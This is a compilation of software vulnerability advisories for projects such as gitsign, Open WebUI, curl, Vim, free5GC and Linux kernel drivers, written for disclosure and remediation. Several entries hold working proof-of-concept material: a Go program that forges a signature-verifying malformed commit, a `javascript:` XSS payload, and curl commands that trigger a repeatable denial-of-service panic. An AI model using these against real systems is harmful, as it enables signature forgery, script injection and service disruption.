Cross-site scripting (XSS) via unescaped HTML attributes in mistune's figure directive allows attackers to inject arbitrary HTML and JavaScript when processing markdown documents with figure directives, bypassing the HTMLRenderer escape setting. The `figclass` and `figwidth` parameters in `render_figure()` are concatenated directly into HTML without sanitization, while other attributes in the same file are properly escaped. Vulnerability affects mistune versions through 3.2.0; no patched version is currently released.
Langfuse versions 3.68.0 through 3.166.x contain an insufficient access control flaw allowing authenticated project members to modify LLM connection endpoints and exfiltrate stored provider API keys in plaintext. An attacker with 'member' role can update an existing LLM connection's baseUrl to an attacker-controlled server, causing Langfuse to reuse the stored provider secret and redirect test requests to that endpoint, exposing credentials like OpenAI API keys. The vulnerability requires prior project membership but no elevated privileges; it was patched in version 3.167.0.
A chmod call in the cPanel Nova plugin's Cpanel::Nova::Connector follows symlinks, allowing setting root permissions on arbitrary system files or directories. That can cause DoS or local privilege escalation when an authenticated cPanel user places a symlink at a user-controlled legacy Nova path under their home directory.
Open redirection in Cradle eCommerce login form endpoint allows attackers to redirect authenticated users to arbitrary external URLs via the unvalidated 'returnUrl' parameter, enabling phishing and credential theft attacks. The vulnerability affects the latest demo version and requires user interaction to click a malicious link, but carries low real-world exploitation probability (EPSS 0.04%) and no confirmed active exploitation at time of analysis.
Cross-proxy Digest authentication state leak in curl allows remote attackers to obtain sensitive authentication credentials when curl is used with proxy authentication across multiple proxy hops. The vulnerability affects curl versions from 7.12.0 through 8.19.0 due to improper handling of Digest authentication state between proxies, enabling credential disclosure with network-level access and no authentication requirements. EPSS score of 0.03% suggests low real-world exploitation probability despite the information disclosure impact.
### Impact The Documents and Images [API](https://docs.wagtail.org/en/stable/advanced_topics/api/index.html) incorrectly listed items in private collections. A user with access to the API could see the filename and name of documents and images in private collections. ### Patches Patched versions have been released as Wagtail 7.0.7 and 7.3.2. The new 7.4 LTS feature release also incorporates this fix. ### Workarounds Site owners using Wagtail's API can avoid the vulnerability by adding [authentication](https://docs.wagtail.org/en/stable/advanced_topics/api/v2/configuration.html#authentication) to the Documents and Images APIs. ### Acknowledgements Wagtail thanks independent security researcher Sanjok Karki @thesanjok for reporting this issue. ### For more information If there are any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Send an email to [security@wagtail.org](mailto:security@wagtail.org) (view the [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).
## Summary `gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. ## Severity **Medium** (CVSS 3.1: 5.7) `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N` - **Attack Vector:** Network - a malformed commit can be distributed via any accessible git remote - **Attack Complexity:** High - exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled) - **Privileges Required:** None - the most impactful form (signature replay) requires no signing key - **User Interaction:** Required - a victim must run `gitsign verify` on the malformed commit - **Scope:** Unchanged - impact is confined to the repository under verification - **Confidentiality Impact:** None - **Integrity Impact:** High - a verified signature appears to endorse content different from what git-core resolves and presents to users - **Availability Impact:** None ## Affected Component - `internal/commands/verify/verify.go` - `(o *options).Run` (line 75) - `internal/commands/verify-tag/verify_tag.go` - `(o *options).Run` (line 77) - `pkg/git/verify.go` - `ObjectHash` (lines 126-158, specifically the `commit()` round-trip at 161-176) ## CWE - **CWE-347**: Improper Verification of Cryptographic Signature - **CWE-295**: Improper Certificate Validation (secondary - the mismatch allows a cert to appear to cover content it never covered) ## Description ### Root cause: re-encoding instead of raw-byte verification When `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier: ```go // internal/commands/verify/verify.go:63-92 c, err := repo.CommitObject(*h) // go-git parses the raw object ... c2 := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form return err } r, _ := c2.Reader() data, _ := io.ReadAll(r) summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes ``` The same pattern appears in `verify-tag`: ```go // internal/commands/verify-tag/verify_tag.go:76-95 tagData := new(plumbing.MemoryObject) if err := tagObj.EncodeWithoutSignature(tagData); err != nil { return err } ``` ### The loose-parsing assumption in go-git The codebase itself acknowledges the problem in `ObjectHash`: ```go // pkg/git/verify.go:137-142 // We're making big assumptions here about the ordering of fields // in Git objects. Unfortunately go-git does loose parsing of objects, // so it will happily decode objects that don't match the unmarshal type. // We should see if there's a better way to detect object types. switch { case bytes.HasPrefix(data, []byte("tree ")): encoder, err = commit(obj, sig) ``` go-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree - which can differ from what git-core resolves. ### Divergent verification paths confirm the inconsistency The `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them: ```go // internal/commands/root/verify.go:56-70 detached := len(args) >= 2 if detached { data, sig, err = readDetached(s, args...) // raw bytes from git-core } else { sig, err = readAttached(s, args...) } ... summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding ``` The two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes). ### Concrete attack: signature replay without a signing key An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice: ``` tree T1 ← Alice's real tree (what go-git and gitsign see) author Alice <alice@corp.com> ... committer Alice <alice@corp.com> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature over T1 canonical form> -----END SIGNED MESSAGE----- This is Alice's commit. ``` An attacker crafts a new malformed commit object: ``` tree T2 ← attacker's malicious tree (git-core uses this) tree T1 ← Alice's tree (go-git uses this) author Alice <alice@corp.com> ... committer Alice <alice@corp.com> ... gpgsig -----BEGIN SIGNED MESSAGE----- <Alice's valid signature - replayed verbatim> -----END SIGNED MESSAGE----- This is Alice's commit. ``` - **`gitsign verify`**: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com." - **`git log` / `git-core`**: uses T2 (attacker-controlled content). - **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash - consistent with the forged verification output but not with the actual raw object. The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`. ## Proof of Concept ```go // poc_tree_mismatch.go - run from repo root: go run ./poc_tree_mismatch.go package main import ( "context" "crypto" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/x509" "crypto/x509/pkix" "fmt" "io" "math/big" "strings" "time" "github.com/go-git/go-git/v5/plumbing" "github.com/go-git/go-git/v5/plumbing/object" "github.com/go-git/go-git/v5/storage/memory" "github.com/sigstore/gitsign/internal/signature" ggit "github.com/sigstore/gitsign/pkg/git" ) type identity struct { cert *x509.Certificate priv crypto.Signer } func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil } func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil } func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil } func (i *identity) Delete() error { return nil } func (i *identity) Close() {} func indentSig(sig string) string { sig = strings.TrimSuffix(sig, "\n") lines := strings.Split(sig, "\n") out := "gpgsig " + lines[0] + "\n" for _, ln := range lines[1:] { out += " " + ln + "\n" } return out } func main() { priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "attacker"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning}, BasicConstraintsValid: true, } rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv) cert, _ := x509.ParseCertificate(rawCert) treeFirst := strings.Repeat("a", 40) // git-core uses this treeSecond := strings.Repeat("b", 40) // go-git uses this author := "author Eve <eve@example.com> 1700000000 +0000" committer := "committer Eve <eve@example.com> 1700000000 +0000" msg := "msg\n" // Sign the go-git canonical form (second tree only) canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg) id := &identity{cert: cert, priv: priv} resp, err := signature.Sign(context.Background(), id, []byte(canonicalData), signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0}) if err != nil { panic(err) } // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git) malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s", treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg) st := memory.NewStorage() enc := st.NewEncodedObject() enc.SetType(plumbing.CommitObject) w, _ := enc.Writer() _, _ = w.Write([]byte(malformedRaw)) _ = w.Close() c, err := object.DecodeCommit(st, enc) if err != nil { panic(err) } // Reproduce what gitsign verify does out := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(out); err != nil { panic(err) } r, _ := out.Reader() verifyData, _ := io.ReadAll(r) roots := x509.NewCertPool() roots.AddCert(cert) v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots)) _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true) objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature)) rawObj := &plumbing.MemoryObject{} rawObj.SetType(plumbing.CommitObject) _, _ = rawObj.Write([]byte(malformedRaw)) fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst) fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond) fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String()) fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData) fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted fmt.Println("OBJECTHASH_ERROR:", oerr) fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash) fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash } ``` **Expected output:** ``` FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb VERIFY_DATA_EQUALS_CANONICAL: true CERT_VERIFY_ERROR: <nil> ← signature accepted OBJECTHASH_ERROR: <nil> OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form> RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split ``` ## Impact - **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree). - **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key. - **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch. - **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability. ## Recommended Remediation ### Option 1: Verify against raw bytes (preferred) Change the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`: ```go // internal/commands/verify/verify.go - replace lines 63-92 enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h) if err != nil { return fmt.Errorf("error reading encoded commit object: %w", err) } r, err := enc.Reader() if err != nil { return err } rawBytes, err := io.ReadAll(r) if err != nil { return err } data, sig, err := git.ExtractSignatureFromRawObject(rawBytes) if err != nil { return err } // data is now the raw bytes without the gpgsig header - identical to what git-core passes summary, err := v.Verify(ctx, data, sig, true) ``` This aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly. ### Option 2: Detect and reject malformed objects Add a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing: ```go func validateRawCommitFields(data []byte) error { seen := map[string]bool{} for _, line := range bytes.Split(data, []byte("\n")) { if idx := bytes.IndexByte(line, ' '); idx > 0 { key := string(line[:idx]) if seen[key] { return fmt.Errorf("malformed commit: duplicate field %q", key) } seen[key] = true } if len(line) == 0 { break // end of headers } } return nil } ``` This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
curl versions 7.14.0 through 8.19.0 leak netrc credentials when reusing proxy connections, allowing authenticated local attackers to obtain sensitive authentication data via connection pooling that ignores credential requirements. CVSS 5.3 reflects high confidentiality impact but requires low-privilege authentication and high attack complexity; EPSS 0.02% indicates minimal real-world exploitation probability despite broad version coverage. No public exploit code identified at time of analysis.
Same-site Cross-Site Request Forgery (CSRF) in RedwoodSDK server actions allows attackers controlling same-site origins to invoke arbitrary server actions with victim session cookies in versions 1.0.0-beta.50 through 1.2.2. The vulnerability stems from missing origin validation despite HTTP method enforcement, enabling attackers to trigger state-changing operations through subdomain takeover, sibling-application XSS, or local development vectors. Vendor-released patch version 1.2.3 enforces Origin/Host matching validation. CVSS 5.3 reflects high integrity impact (UI:R) but constrained attack complexity (AC:H) and no information disclosure.
OCSP stapling validation bypass in curl 8.17.0-8.19.0 allows remote attackers to obtain sensitive certificate validation information when curl uses Apple SecTrust for TLS connections, potentially enabling man-in-the-middle attacks by bypassing server certificate revocation checks.
SolidCAM-GPPL-IDE is an unofficial, independently developed extension, Postprocessor IDE for SolidCAM. From version 1.0.0 to before version 1.0.2, the inc "filename" directive in GPPL postprocessor files is resolved by GpplDocumentLinkHandler into a clickable link (VS Code textDocument/documentLink). The handler accepted arbitrary paths - absolute, relative with parent-directory segments (..\..\..\), UNC (\\server\share\), and arbitrary subfolders - and called File.Exists on each to decide whether to render the link. Two distinct attack surfaces resulted: information disclosure via File.Exists probing and NTLM hash leak via UNC path probing. This issue has been patched in version 1.0.2.
Stored cross-site scripting in MCP Registry's catalogue UI allows any user with a publish token to inject arbitrary event handlers via the `websiteUrl` field by breaking out of an `href` attribute with an unescaped double-quote character. The server-side URL validator accepts quotes and the client-side `escapeHtml` helper fails to encode them in attribute context, enabling attackers to execute JavaScript on the registry.modelcontextprotocol.io origin with access to localStorage, XHR, and auth tokens. Vendor-released patch version 1.7.7 available; actively confirmed via proof-of-concept.
Open redirect vulnerability in Kargo UI OIDC login flow allows unauthenticated remote attackers to redirect users to arbitrary external websites via a malicious redirectTo query parameter. Versions prior to 1.7.10, 1.8.13, 1.9.8, and 1.10.2 are affected. This requires user interaction (clicking a crafted link) but can facilitate phishing attacks by making malicious redirects appear legitimate within the Kargo authentication flow.
Cross-site scripting in wlc command-line client versions prior to 2.0.0 allows authenticated users with high privileges to inject malicious HTML/JavaScript into API responses, which are then embedded unescaped in HTML output. When the HTML output is rendered in a browser, this enables XSS attacks. The vulnerability requires explicit use of the HTML output format (non-default), user interaction to open/view the HTML file, and elevated API credentials, limiting real-world risk despite the network vector.
Availability degradation in Bouncy Castle BC-FJA cryptographic library versions 2.1.0 through 2.1.2 on Linux X86_64 systems with AVX or AVX-512f SIMD extensions affects GCM-128 and GCM-512 operations, allowing local attackers to cause denial of service without authentication. The vulnerability is associated with optimized assembly implementations (gcm128w, gcm512w) and results in availability impact with no confidentiality or integrity compromise. No public exploit code or active exploitation has been identified at time of analysis.
Mass assignment vulnerability in Open WebUI's folder creation endpoint allows authenticated attackers to create folders in other users' accounts by exploiting Pydantic's extra='allow' configuration. An attacker with a valid account can supply an arbitrary user_id in the POST request body, overwriting the server-assigned value and persisting folders under a victim's account without their knowledge. The attacker can use this to plant phishing content, spam folders, or degrade user experience for targeted victims.
External Secrets Operator versions 0.1.0 through 2.4.0 allow authenticated users with ExternalSecret creation permissions to escalate privileges by crafting Service Account token templates that cause the operator to generate long-lived tokens for any service account in the namespace. An attacker can impersonate service accounts without requiring direct TokenRequest or Secret creation permissions, effectively bypassing RBAC controls. The attack requires the attacker already has ExternalSecret creation permissions and the cluster must have service account token generation enabled, limiting the practical scope to already-privileged users seeking lateral privilege expansion within a namespace.
Authenticated administrators in Flarum can read arbitrary files and trigger server-side request forgery via LESS injection in theme color settings. The vulnerability exploits an incomplete patch for CVE-2023-27577 that restricted @import and data-uri() only in the custom_less setting but failed to apply the same restrictions to other LESS config variables such as theme_primary_color and theme_secondary_color. An attacker with admin credentials can inject arbitrary @import directives into compiled forum.css, exposing sensitive files or making outbound HTTP requests to internal networks and cloud metadata endpoints. Vendor-released patches: Flarum 1.8.16 and 2.0.0-rc.1.
## Vulnerability Details **CWE-79**: Cross-site Scripting (XSS) The `AccountPending.svelte` component renders the admin-configured "Pending User Overlay Content" using `marked.parse()` inside `{@html}` with an incorrect DOMPurify application order: ### Vulnerable Code **`src/lib/components/layout/Overlay/AccountPending.svelte` (lines 43-48)**: ```svelte {@html marked.parse( DOMPurify.sanitize( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>') ) )} ``` DOMPurify is applied to the raw Markdown input **before** `marked.parse()` processes it. This is the wrong order. DOMPurify sanitizes the Markdown text (which contains no HTML tags), then `marked.parse()` converts Markdown link syntax into HTML `<a>` tags with `javascript:` href, and the result is rendered with `{@html}` unsanitized. The correct pattern (used elsewhere in the codebase, e.g., `NotebookView.svelte:77`) is: ```javascript DOMPurify.sanitize(marked.parse(src)) // sanitize AFTER markdown parsing ``` ## Steps to Reproduce ### Prerequisites - Open WebUI v0.8.10 - Admin account - A second user account with "pending" role ### Steps 1. Log in as admin and navigate to **Admin Settings** → **Settings** → **General**. 2. Set **Default User Role** to `pending`. 3. In the **Pending User Overlay Content** field, enter: ``` # Account Pending Your account is under review. [Contact Support](javascript:alert(document.domain)) ``` 4. Save the settings. 5. In a separate browser (or incognito window), create a new account or log in as a pending user. 6. The pending overlay is displayed. Click the "Contact Support" link. 7. A JavaScript alert dialog appears showing `localhost` (the document domain), confirming XSS execution. ### Verified Output The `alert(document.domain)` executes successfully, displaying "localhost" in a JavaScript dialog box. ## Impact An admin can inject arbitrary JavaScript into the Pending User Overlay Content that executes in the browser context of any pending user who views the overlay page. This could be used to: - **Session hijacking**: Steal pending users' JWT tokens from cookies/localStorage - **Credential theft**: Replace the pending overlay with a fake login form - **Phishing**: Redirect pending users to malicious sites While this requires admin privileges to set the overlay content, it enables an admin to attack pending users (who have not yet been granted full access). In multi-admin deployments, a compromised admin account could use this to escalate attacks. ## Proposed Fix Apply DOMPurify **after** `marked.parse()`, not before: ```svelte <!-- Before (vulnerable): --> {@html marked.parse( DOMPurify.sanitize( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>') ) )} <!-- After (fixed): --> {@html DOMPurify.sanitize( marked.parse( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>'), { async: false } ) )} ``` <img width="1510" height="1093" alt="2026-03-23_03-07" src="https://github.com/user-attachments/assets/bcc94dd6-4f06-472b-9979-9759458c76b3" />
### Impact Users with component view access could be impacted by an unescaped `notes` column. ### Patches This was patched in https://github.com/grokability/snipe-it/commit/28f493d84d057895fbb93b6570e7393a2c2fa438, and is fixed in v8.4.1 or greater. ### Workarounds None.
go-git versions prior to 5.18.0 and 6.0.0-alpha.2 leak HTTP authentication credentials when following cross-host redirects during smart-HTTP clone and fetch operations. Remote unauthenticated attackers controlling a redirect target can capture credentials intended for the original repository host. User interaction (initiating a clone/fetch to a malicious or compromised server) is required. Vendor-released patches are available in v5.18.0 and v6.0.0-alpha.2.
Race condition in the Linux kernel nvme-pci driver's nvme_poll_irqdisable() function causes an unbalanced IRQ enable/disable pair that crashes the kernel with a warning. Affected kernels from 5.7 through multiple stable branches are vulnerable when running PCIe NVMe storage with MSI-X interrupts: a concurrent NVMe device reset can change the IRQ vector between the disable_irq() and enable_irq() calls, making the kernel operate on different IRQ numbers. No public exploit identified at time of analysis and EPSS of 0.02% confirm this is a reliability/stability concern patched in kernel stable releases 6.1.167, 6.6.130, 6.12.78, 6.18.19, 6.19.9, and 7.0.
Race condition in the Linux kernel cgroup subsystem's task iterator exposes local low-privileged users to a denial-of-service condition when task migration and cgroup iteration execute concurrently. The cgroup infrastructure fails to advance active css_task_iters before a task is unlinked from cset->tasks during migration, allowing iterators to reference the wrong linked list and silently skip tasks - or in worst-case scenarios, cause css_task_iter_advance() to crash or loop infinitely on the destination css_set. No public exploit identified at time of analysis; EPSS of 0.02% at the 7th percentile reflects extremely low observed exploitation probability and aligns with the narrow race window required.
Race condition in the Linux kernel's yurex USB driver probe function allows a local low-privileged attacker to cause a denial of service by triggering a timing window between URB submission and bbu member initialization. Affected are all kernel versions from the initial commit through the stable branch fix points (patched in 5.10.253, 5.15.203, 6.1.167, 6.6.130, 6.12.78, 6.18.19, 6.19.9, and 7.0). No public exploit exists and the issue is not listed in CISA KEV; EPSS of 0.02% (7th percentile) reflects negligible widespread exploitation probability.
Race condition in the Linux kernel's USB RNDIS gadget function driver (f_rndis) allows a local low-privileged attacker to crash the kernel by concurrently manipulating class/subclass/protocol configfs attributes without mutex protection. Identified during code inspection - not observed in active exploitation - this vulnerability affects multiple stable kernel branches from 4.14 through 7.0-rc3, with patches released across all maintained stable series. With an EPSS of 0.02% (7th percentile), no public exploit, and no CISA KEV listing, real-world risk is low but meaningful on embedded or IoT devices using Linux as a USB RNDIS peripheral.
Kernel panic triggered by a race condition in the UFS Host Controller Driver (ufshcd) during system suspend affects Linux systems using Universal Flash Storage hardware where UFSHCD_CAP_CLK_GATING is not supported. The flaw allows a local low-privileged user - or automated power management - to crash the kernel by triggering a suspend sequence while ufshcd_rtc_work() is concurrently executing, producing an ARM64 asynchronous SError interrupt that halts the system. No public exploit code exists and no active exploitation has been identified; with an EPSS of 0.02% this is a low-probability but confirmed-availability-destroying defect patched across multiple stable kernel branches.
Vim is an open source, command line text editor. Prior to version 9.2.0435, an OS command injection vulnerability exists in Vim's :find command-line completion. When the path option contains backtick-enclosed shell commands, those commands are executed during file name completion. Because the path option lacks the P_SECURE flag, it can be set from a modeline, allowing an attacker who controls the contents of a file to execute arbitrary shell commands when the user opens that file in Vim and triggers :find completion. This issue has been patched in version 9.2.0435.
Vim is an open source, command line text editor. Prior to version 9.2.0383, an OS command injection vulnerability exists in the netrw standard plugin bundled with Vim. By inducing a user to open a crafted URL (e.g., using the sftp:// or file:// protocol handlers), an attacker can execute arbitrary shell commands with the privileges of the Vim process. This issue has been patched in version 9.2.0383.
n8n-MCP prior to version 2.47.13 logs sensitive credential material from authenticated MCP tool-call requests when running in HTTP transport mode, allowing disclosure of bearer tokens, OAuth credentials, API keys, and webhook authentication headers to any system with access to server logs. The vulnerability requires valid authentication (AUTH_TOKEN) and affects deployments where logs are collected, forwarded to external systems, or viewable outside the request trust boundary; no public exploit code has been identified.
Onyx versions before 3.0.9, 3.1.6, and 3.2.6 permit authenticated users to terminate any other user's active chat session via the POST /chat/stop-chat-session/{chat_session_id} endpoint without verifying session ownership. An attacker with valid credentials can interrupt another user's LLM generation mid-stream by supplying a known session UUID, causing denial of service to targeted chat sessions. Vendor-released patches are available, and no public exploit code or active exploitation has been identified at time of analysis.
### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks `_, ok = UESubsData.EeSubscriptionCollection[subsId]` and sets a `404` problem-details on the miss path, but then continues to `UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This endpoint requires a valid `nudr-dr` OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. ### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Precondition (one authenticated EE-subscription create allocates UE state): ```go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData)) value, _ = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection) ``` Vulnerable handler (delete on amf-subscriptions): the `ok` miss path sets `pd` but does not return, so the very next line dereferences the nil entry: ```go _, ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND") } if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND") } ``` When `subsId` is absent, `UESubsData.EeSubscriptionCollection[subsId]` is nil, and `.AmfSubscriptionInfos` panics with `runtime error: invalid memory address or nil pointer dereference`. Code evidence (paths in `free5gc/udr`): - Precondition route + handler (EE-subscription create that allocates UE state): - `NFs/udr/internal/sbi/api_datarepository.go:600` - `NFs/udr/internal/sbi/api_datarepository.go:602` - `NFs/udr/internal/sbi/api_datarepository.go:2528` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38` - Vulnerable delete route + dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil deref): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69` ### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000`. 1. Restart UDR (clean state): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Create one EE subscription to populate `UESubsCollection` for `ueId=x`: ``` curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \ -H 'Content-Type: application/json' \ --data '{}' ``` ``` HTTP/1.1 201 Created ``` 4. Trigger the panic with a nonexistent `subsId`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. UDR container logs (`docker logs udr`) confirm the nil-pointer panic at `event_amf_subscription_info_document.go:69` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:69 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` ### Impact NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the `amf-subscriptions` delete route after one preparatory POST that allocates UE state for the chosen `ueId`. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 SUBSCRIPTION_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60
